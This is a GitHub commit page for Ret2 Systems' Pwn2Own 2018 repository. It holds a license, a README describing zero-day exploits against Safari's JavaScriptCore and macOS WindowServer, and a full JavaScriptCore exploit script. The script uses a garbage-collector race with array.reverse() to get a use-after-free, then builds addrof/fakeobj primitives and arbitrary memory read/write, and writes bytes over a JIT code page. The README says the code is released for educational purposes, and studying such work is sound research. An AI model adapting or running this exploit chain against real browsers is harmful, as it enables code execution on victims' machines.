Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
cc199a4
commit 5141489
Showing
12 changed files
with
2,274 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2018 Ret2 Systems, Inc. | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,14 @@ | ||
# P2O_2018 | ||
# PWN2OWN 2018 - Safari + Root | ||
|
||
This repo contains exploit code as used by [Ret2 Systems](https://twitter.com/ret2systems) at [PWN2OWN 2018](https://www.thezdi.com/blog/2018/3/15/pwn2own-2018-day-two-results-and-master-of-pwn). It has been released for educational purposes, detailed by a series of [blogposts](https://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/). | ||
|
||
These were used as zero-day exploits against macOS 10.13.3 & Safari/JSC on March 16th, 2018. | ||
|
||
# Contents | ||
|
||
* `/jsc` - JavaScriptCore Exploit & PoC for CVE-2018-4192 | ||
* `/windowserver` - WindowServer Exploit & PoC for CVE-2018-4193 | ||
|
||
# License | ||
|
||
The contents of this repo are licensed and distributed under the MIT license. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,323 @@ | ||
// Load Int library, thanks saelo! | ||
load('util.js'); | ||
load('int64.js'); | ||
|
||
|
||
// Helpers to convert from float to in a few random places | ||
var conva = new ArrayBuffer(8); | ||
var convf = new Float64Array(conva); | ||
var convi = new Uint32Array(conva); | ||
var convi8 = new Uint8Array(conva); | ||
|
||
var floatarr_magic = new Int64('0x3131313131313131').asDouble(); | ||
var floatarr_magic = new Int64('0x3131313131313131').asDouble(); | ||
var jsval_magic = new Int64('0x3232323232323232').asDouble(); | ||
|
||
var structs = []; | ||
|
||
function log(x) { | ||
print(x); | ||
} | ||
|
||
// Look OOB for array we can use with JSValues | ||
function findArrayOOB(corrupted_arr, groom) { | ||
log("Looking for JSValue array with OOB Float array"); | ||
for (let i = 0; i<corrupted_arr.length; i++) { | ||
convf[0] = corrupted_arr[i]; | ||
|
||
// Find the magic value we stored in the JSValue Array | ||
if (convi[0] == 0x10) { | ||
convf[0] = corrupted_arr[i+1]; | ||
if (convi[0] != 0x32323232) | ||
continue; | ||
|
||
// Change the first element of the array | ||
corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble(); | ||
|
||
let target = null; | ||
// Find which array we modified | ||
for (let j = 0; j<groom.length; j++) { | ||
if (groom[j][0] != jsval_magic) { | ||
target = groom[j]; | ||
break | ||
} | ||
} | ||
|
||
log("Found target array for addrof/fakeobj"); | ||
|
||
// This object will hold our primitives | ||
let prims = {}; | ||
|
||
let oob_ind = i+1; | ||
|
||
// Get the address of a given jsobject | ||
prims.addrof = function(x) { | ||
// To do this we put the object in the jsvalue array and | ||
// access it OOB with our float array | ||
target[0] = x; | ||
return Int64.fromDouble(corrupted_arr[oob_ind]); | ||
} | ||
|
||
// Return a jsobject at a given address | ||
prims.fakeobj = function(addr) { | ||
// To do this we overwrite the first slot of the jsvalue array | ||
// with the OOB float array | ||
corrupted_arr[oob_ind] = addr.asDouble(); | ||
return target[0]; | ||
} | ||
|
||
return prims; | ||
} | ||
} | ||
} | ||
|
||
// Here we will spray structure IDs for Float64Arrays | ||
// See http://www.phrack.org/papers/attacking_javascript_engines.html | ||
function sprayStructures() { | ||
function randomString() { | ||
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); | ||
} | ||
// Spray arrays for structure id | ||
for (let i = 0; i < 0x1000; i++) { | ||
let a = new Float64Array(1); | ||
// Add a new property to create a new Structure instance. | ||
a[randomString()] = 1337; | ||
structs.push(a); | ||
} | ||
} | ||
|
||
|
||
// Here we will create our fake typed array and get arbitrary read/write | ||
// See http://www.phrack.org/papers/attacking_javascript_engines.html | ||
function getArb(prims) { | ||
sprayStructures() | ||
|
||
let utarget = new Uint8Array(0x10000); | ||
utarget[0] = 0x41; | ||
|
||
// Our fake array | ||
// Structure id guess is 0x200 | ||
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] | ||
let jscell = new Int64('0x0118270000000200'); | ||
|
||
// Construct the object | ||
// Each attribute will set 8 bytes of the fake object inline | ||
obj = { | ||
'a': jscell.asDouble(), | ||
|
||
// Butterfly can be anything | ||
'b': false, | ||
|
||
// Target we want to write to | ||
'c': utarget, | ||
|
||
// Length and flags | ||
'd': new Int64('0x0001000000000010').asDouble() | ||
}; | ||
|
||
|
||
// Get the address of the values we stored in obj | ||
let objAddr = prims.addrof(obj).add(16); | ||
log("Obj addr + 16 = "+objAddr); | ||
|
||
// Create a fake object from this pointer | ||
let fakearray = prims.fakeobj(objAddr); | ||
|
||
// Attempt to find a valid ID for our fake object | ||
while(!(fakearray instanceof Float64Array)) { | ||
jscell.add(1); | ||
obj['a'] = jscell.asDouble(); | ||
} | ||
|
||
log("Matched structure id!"); | ||
|
||
// Set data at a given address | ||
prims.set = function(addr, arr) { | ||
fakearray[2] = addr.asDouble(); | ||
utarget.set(arr); | ||
} | ||
|
||
// Read 8 bytes as an Int64 at a given address | ||
prims.read64 = function(addr) { | ||
fakearray[2] = addr.asDouble(); | ||
let bytes = Array(8); | ||
for (let i=0; i<8; i++) { | ||
bytes[i] = utarget[i]; | ||
} | ||
return new Int64(bytes); | ||
} | ||
|
||
// Write an Int64 as 8 bytes at a given address | ||
prims.write64 = function(addr, value) { | ||
fakearray[2] = addr.asDouble(); | ||
utarget.set(value.bytes); | ||
} | ||
} | ||
|
||
// Here we will use build primitives to eventually overwrite the JIT page | ||
function exploit(corrupted_arr, groom) { | ||
save.push(groom); | ||
save.push(corrupted_arr); | ||
|
||
// Create fakeobj and addrof primitives | ||
let prims = findArrayOOB(corrupted_arr, groom); | ||
|
||
// Upgrade to arb read/write from OOB read/write | ||
getArb(prims); | ||
|
||
// Build an arbitrary JIT function | ||
// This was basically just random junk to make the JIT function larger | ||
let jit = function(x) { | ||
var j = []; j[0] = 0x6323634; | ||
return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; }; | ||
|
||
// Make sure the JIT function has been compiled | ||
jit(); | ||
jit(); | ||
jit(); | ||
|
||
// Traverse the JSFunction object to retrieve a non-poisoned pointer | ||
log("Finding jitpage"); | ||
let jitaddr = prims.read64( | ||
prims.read64( | ||
prims.read64( | ||
prims.read64( | ||
prims.addrof(jit).add(3*8) | ||
).add(3*8) | ||
).add(3*8) | ||
).add(5*8) | ||
); | ||
log("Jit page addr = "+jitaddr); | ||
|
||
// Overwrite the JIT code with our INT3s | ||
log("Writting shellcode over jit page"); | ||
prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]); | ||
|
||
// Call the JIT function, triggering our INT3s | ||
log("Calling jit function"); | ||
jit(); | ||
|
||
throw("JIT returned"); | ||
} | ||
|
||
|
||
// Find and set the length of a non-freed butterfly with our unstable OOB primitive | ||
function setLen(uaf_arr, ind) { | ||
let f=0; | ||
for (let i=0; i<uaf_arr.length; i++) { | ||
convf[0] = uaf_arr[i]; | ||
|
||
// Look for a new float array, and set the length | ||
if (convi[0] == 0x10) { | ||
convf[0] = uaf_arr[i+1]; | ||
if (convi[0] == 0x32323232 && convi[1] == 0x32323232) { | ||
convi[0] = 0x42424242; | ||
convi[1] = 0x42424242; | ||
uaf_arr[i] = convf[0]; | ||
return; | ||
} | ||
} | ||
} | ||
|
||
throw("Could not find anouther array to corrupt"); | ||
} | ||
|
||
|
||
let oob_rw_unstable = null; | ||
let oob_rw_unstable_ind = null; | ||
let oob_rw_stable = null; | ||
|
||
// After this point we would stop seeing GCs happen enough to race :( | ||
const limit = 10; | ||
const butterfly_size = 32 | ||
|
||
let save = [0, 0] | ||
|
||
for(let at = 0; at < limit; at++) { | ||
log("Trying to race GC and array.reverse() Attempt #"+(at+1)); | ||
|
||
// Allocate the initial victim and target arrays | ||
let victim_arrays = new Array(2048); | ||
let groom = new Array(2048); | ||
for (let i=0; i<victim_arrays.length; i++) { | ||
victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic) | ||
groom[i] = new Array(butterfly_size/2).fill(jsval_magic) | ||
} | ||
|
||
let vv = []; | ||
let v = [] | ||
|
||
// Allocate large strings to trigger the GC while calling reverse | ||
for (let i = 0; i < 506; i++) { | ||
for(let j = 0; j < 0x100; j++) { | ||
// Cause GCs to trigger while we are racing with reverse | ||
if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } | ||
victim_arrays.reverse() | ||
} | ||
} | ||
|
||
for (let i = 0; i < victim_arrays.length; i++) { | ||
|
||
// Once we see we have replaced a free'd butterfly | ||
// fill the replacing array with 0x41414141... to smash rest | ||
// of UAF'ed butterflies | ||
|
||
// We know the size will be 506, because it will have been replaced with v | ||
// we were pushing into in the loop above | ||
|
||
if(victim_arrays[i].length == 506) { | ||
victim_arrays[i].fill(2261634.5098039214) | ||
} | ||
|
||
// Find the first butterfly we have smashed | ||
// this will be an unstable OOB r/w | ||
|
||
if(victim_arrays[i].length == 0x41414141) { | ||
oob_rw_unstable = victim_arrays[i]; | ||
oob_rw_unstable_ind = i; | ||
break; | ||
} | ||
} | ||
|
||
// If we successfully found a smashed and still freed butterfly | ||
// use it to corrupt a non-freed butterfly for stability | ||
|
||
if(oob_rw_unstable) { | ||
|
||
setLen(oob_rw_unstable, oob_rw_unstable_ind) | ||
|
||
for (let i = 0; i < groom.length; i++) { | ||
// Find which array we just corrupted | ||
if(groom[i].length == 0x42424242) { | ||
oob_rw_stable = groom[i]; | ||
break; | ||
} | ||
} | ||
if (!oob_rw_stable) { | ||
throw("Groom seems to have failed :("); | ||
} | ||
} | ||
|
||
// chew CPU to avoid a segfault and help with gc schedule | ||
for (let i = 0; i < 0x100000; i++) { } | ||
|
||
|
||
// Attempt to clean up some | ||
let f = [] | ||
for (let i = 0; i < 0x2000; i++) { | ||
f.push(new Array(16).fill(2261634.6098039214)) | ||
} | ||
|
||
save.push(victim_arrays) | ||
save.push(v) | ||
save.push(f) | ||
save.push(groom) | ||
|
||
if (oob_rw_stable) { | ||
log("Found stable corrupted butterfly! Now the fun begins..."); | ||
exploit(oob_rw_stable, groom); | ||
break; | ||
} | ||
|
||
} | ||
throw("Failed to find any UAF'ed butterflies"); |
Oops, something went wrong.